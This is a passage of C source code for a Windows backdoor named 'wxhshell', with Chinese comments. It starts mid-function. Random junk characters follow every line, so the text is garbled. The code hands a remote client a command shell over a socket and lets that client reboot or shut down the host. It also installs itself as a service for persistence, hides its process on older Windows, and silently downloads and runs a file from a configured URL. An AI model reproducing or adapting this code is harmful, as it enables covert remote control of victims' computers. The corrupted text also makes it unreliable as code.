  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N(L?F):fT  
  if(DownloadFile(cmd,wsh)) c=~FXV!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vw b6QIs  
  else /}RW~ax  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $rmfE  
  } nL&[R}@W  
  else { 0]`%i G|  
Y` tB5P  
    switch(cmd[0]) { WhN~R[LE_  
  BFMINq>  
  // 帮助 _9b;8%? Yf  
  case '?': { :/FT>UCL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OG}m+K&<  
    break; p*" H&xA@  
  } RJT=K{2x  
  // 安装 Ce_E S.  
  case 'i': { B&c*KaK;~  
    if(Install()) 44(l1xEN+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OO`-{HKt  
    else haIH `S Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1A-ess\  
    break; R3gg{hQ  
    } K,L  
  // 卸载 (uskVK>L  
  case 'r': { @If ^5s;z  
    if(Uninstall()) Y+UM>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SFx|9$hXm  
    else UBve a(z-#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C.oC@P  
    break; u.L{3gkT  
    } uO;_T/^u  
  // 显示 wxhshell 所在路径 T_*R^Ukb5  
  case 'p': { $oU40HA)W]  
    char svExeFile[MAX_PATH]; {9*k \d/;  
    strcpy(svExeFile,"\n\r"); @`Foy  
      strcat(svExeFile,ExeFile); ]-G10p}Ph-  
        send(wsh,svExeFile,strlen(svExeFile),0); !L_\6;aP,x  
    break; %(y0,?*  
    } .3yxg}E>{  
  // 重启 kA%"-$3  
  case 'b': { CP!>V:w%9!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $d _%7xx  
    if(Boot(REBOOT)) {P@OV1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); COk;z.Kn  
    else { 1Ydym2  
    closesocket(wsh); maR5hgWCHe  
    ExitThread(0); ([a[ fi  
    } f|X./J4Bl  
    break; ?oO<PR}y  
    } n; fUwon  
  // 关机 9>na3ISh  
  case 'd': { +Pm yFJH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \5s #9  
    if(Boot(SHUTDOWN)) KZ;Q71  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]K(>r#'nH  
    else { }D>nXhO&  
    closesocket(wsh); @,{', =L6  
    ExitThread(0); z}:|is)?  
    } &E&e5(&$  
    break; 8Qt'Y9|  
    } cy-Bhk0H  
  // 获取shell 1"5-doo  
  case 's': { R"`7aa6  
    CmdShell(wsh); ypK1 sw  
    closesocket(wsh); NWq>Z!x`  
    ExitThread(0); l3C%`[MB  
    break; "=97:H{!  
  } Mk~]0d  
  // 退出 "]M]pR/j  
  case 'x': { PA(XdT{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #- hYjE5  
    CloseIt(wsh); {2Jn#&Z29  
    break; D-<9kBZs  
    } (d2|r)O  
  // 离开 RiX~YL eM  
  case 'q': { u79,+H@ep  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZfYva(zP{Q  
    closesocket(wsh); ^ A`@g4!  
    WSACleanup(); O8drR4 Pt  
    exit(1); SuU_psF  
    break; z rg#BXj7  
        } _b8?_Zq  
  } 5_MqpCL  
  } M{ mdh\  
QXcSDJ  
  // 提示信息 Gcs eq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u d V. $N  
} "A6T'nOP  
  } ] _WB^  
_z$lg]q  
  return; sm~{fg  
} ~;*SW[4  
SXW8p>1Jw  
// shell模块句柄 (!@ Q\P  
int CmdShell(SOCKET sock) mu?6Phj  
{ bo  J  
STARTUPINFO si; 5uU.K3G7  
ZeroMemory(&si,sizeof(si)); Ikn)XZU^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [?vn>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |%@.@c  
PROCESS_INFORMATION ProcessInfo; D/ SM/  
char cmdline[]="cmd"; $\ 0d9^)&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UtebSQ+h\  
  return 0; 5g{F-  
} :bhpYEUMx  
^K#PcPF-j  
// 自身启动模式 9{;cp?\)M  
int StartFromService(void) +v`?j+6z  
{ F(w  
typedef struct Wx<fD()  
{ ^" EsBt  
  DWORD ExitStatus; KAucSd`  
  DWORD PebBaseAddress; j JxV)AIY  
  DWORD AffinityMask; Gqz<;y  
  DWORD BasePriority; ;gC.fpu  
  ULONG UniqueProcessId; #=G[ ~m\  
  ULONG InheritedFromUniqueProcessId;  .UUY9@  
}   PROCESS_BASIC_INFORMATION; $~[k?D  
Ie[8Iot?bn  
PROCNTQSIP NtQueryInformationProcess; tCJ+OU5/  
4\.1phe$a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4nfpPN t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9bL`0L  
fJb<<6C  
  HANDLE             hProcess; j}2,|9ne  
  PROCESS_BASIC_INFORMATION pbi; $:#{Y;d  
8%dE$smH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ){PL6|5x  
  if(NULL == hInst ) return 0; BixKK$Lo  
&3SQVOW ~T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8e`'Ox_5a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2&f] v`|M|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l.#iMi(@p~  
*<PQp   
  if (!NtQueryInformationProcess) return 0; $R'  
cZ@z]LY.g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yy$GfjJtL]  
  if(!hProcess) return 0; Vd-\_VP20  
dQ5_=( 9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H>x(c|ZBp  
.KA){_jBp  
  CloseHandle(hProcess); #sn2Vmi  
Jzg>Y?jN R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \M H\!  
if(hProcess==NULL) return 0; RGw=!0V  
{c'2{`px 5  
HMODULE hMod; CMm:Vea  
char procName[255]; kIb)I(n  
unsigned long cbNeeded; 8Rgvb3u  
(o!v,=# 6{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ],lrT0_cT  
t(O{IUYM  
  CloseHandle(hProcess); `kn 'RZR  
oJcDs-!  
if(strstr(procName,"services")) return 1; // 以服务启动 .o(XnY)cgJ  
s)=fs#%  
  return 0; // 注册表启动 (8(7:aE $  
} Hl,.6 >F?  
H8V${&!ho  
// 主模块 _%M5 T  
int StartWxhshell(LPSTR lpCmdLine) 7fVlA"x  
{ hP=^JH  
  SOCKET wsl; 6^vMJ82U  
BOOL val=TRUE; JF%eC}[d  
  int port=0; I.[2-~yf  
  struct sockaddr_in door; &i&k 4  
qP"+SVqC  
  if(wscfg.ws_autoins) Install(); %nTgrgS(=  
_B@=fY(g!  
port=atoi(lpCmdLine); g:l5,j.K  
woctnT%"Q/  
if(port<=0) port=wscfg.ws_port; nN=o/zd  
K0|8h!WF+  
  WSADATA data; Ue>;h9^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~nQv yM!$  
R6^U9 fDG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dE<}X7J%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r[ UZHX5+S  
  door.sin_family = AF_INET; .Ulrv5wJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1@&i ju5  
  door.sin_port = htons(port); ?onaJ=mT  
8X6F6RK6,1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CCCd=s.  
closesocket(wsl); W 6_~.m"b  
return 1; Xknp*(9  
} <5 R`E(  
rOt`5_2f  
  if(listen(wsl,2) == INVALID_SOCKET) { C%$:Oq  
closesocket(wsl); 7oPLO(0L  
return 1; Y#>'.$ (Az  
} C@{#OOa  
  Wxhshell(wsl); |i)7j G<  
  WSACleanup(); LciSQ R!  
3ErW3Ac Ou  
return 0; DrfOz#a0Uu  
'W!N1W@  
} 8oM]gW;J~  
o"^+i#H!  
// 以NT服务方式启动 b51{sL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  V Ae@P  
{ q .[hwm  
DWORD   status = 0; Ck71N3~W  
  DWORD   specificError = 0xfffffff; s*"Yi~  
O~E6"v Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 334UMH__  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y\=(;]S'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V'kCd4  
  serviceStatus.dwWin32ExitCode     = 0; ^hG Y,\K9  
  serviceStatus.dwServiceSpecificExitCode = 0; sFd"VRAV~E  
  serviceStatus.dwCheckPoint       = 0; "|{3V:e>a  
  serviceStatus.dwWaitHint       = 0; < r6e23  
{fwA=J9%KS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {[r}&^K15  
  if (hServiceStatusHandle==0) return; zG\g{cB  
(zW;&A  
status = GetLastError(); ^Z?X\t  
  if (status!=NO_ERROR) v9<7=D&x  
{ dQ&S&SW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f L @rv  
    serviceStatus.dwCheckPoint       = 0; K+9oV[DMs  
    serviceStatus.dwWaitHint       = 0;  .AEOf0t  
    serviceStatus.dwWin32ExitCode     = status; ZG=B'4W  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'S_kD! BO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wz!a;]agg  
    return; wv.FL$f[@  
  } udRum7XW 3  
u/`jb2eEU:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aNZJs<3;'D  
  serviceStatus.dwCheckPoint       = 0;  3kAmRU  
  serviceStatus.dwWaitHint       = 0; ?^F*M#%?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K k 5 vC{  
} I)wjTTM5  
5|&:l8=  
// 处理NT服务事件,比如:启动、停止 s0,\[rM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Oeua<,]Z~  
{ 4WK@ap-~  
switch(fdwControl) BUH~aV  
{ PV_E3,RY  
case SERVICE_CONTROL_STOP: q1:Y]Rbe  
  serviceStatus.dwWin32ExitCode = 0; G~,K$z/-l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (~YFm"S  
  serviceStatus.dwCheckPoint   = 0; =5NM =K  
  serviceStatus.dwWaitHint     = 0; R|7yhsJq,  
  { $ O1w 6\}_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I\NiA>c  
  } Q.5C$I  
  return; h'{}eYb+   
case SERVICE_CONTROL_PAUSE: +&LzLF.bK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pEUbP,3M:  
  break; ]<9=%m  
case SERVICE_CONTROL_CONTINUE: VieX 5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O>zPWVwa  
  break; [kdt]+'+  
case SERVICE_CONTROL_INTERROGATE: F-!,U)  
  break; 7qfo%n"  
}; X!+#1NPM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vmI2o'zi  
} TW 2OT }  
MA\^<x_?L}  
// 标准应用程序主函数 71AR)6<R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;DMv?-H  
{ YkRv~bc1]  
}E=:k&IDPB  
// 获取操作系统版本 D`nW9i7  
OsIsNt=GetOsVer(); Yg 8AMi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L nQm2uF  
oY!nM%z/  
  // 从命令行安装 T[mo PD5  
  if(strpbrk(lpCmdLine,"iI")) Install(); !PN;XZ~{  
*?/9lAm  
  // 下载执行文件 ^i3~i?\,P  
if(wscfg.ws_downexe) { vn n4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _xgF?#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ML6V,V/e  
} yNY *Fl!  
K6#9HF'2I  
if(!OsIsNt) { 7X3<8:%  
// 如果时win9x,隐藏进程并且设置为注册表启动 @(XX68  
HideProc();  &Gp~)%  
StartWxhshell(lpCmdLine); x+j5vzhG)  
} W"9?D  
else ->DfT*)  
  if(StartFromService()) IUX~dO  
  // 以服务方式启动 s1,kTde  
  StartServiceCtrlDispatcher(DispatchTable); <8U qV.&  
else VGbuEC[Y  
  // 普通方式启动 %@IZ41<C  
  StartWxhshell(lpCmdLine); ;p~&G"-C`  
eySV -f{  
return 0; DKV^c'  
}
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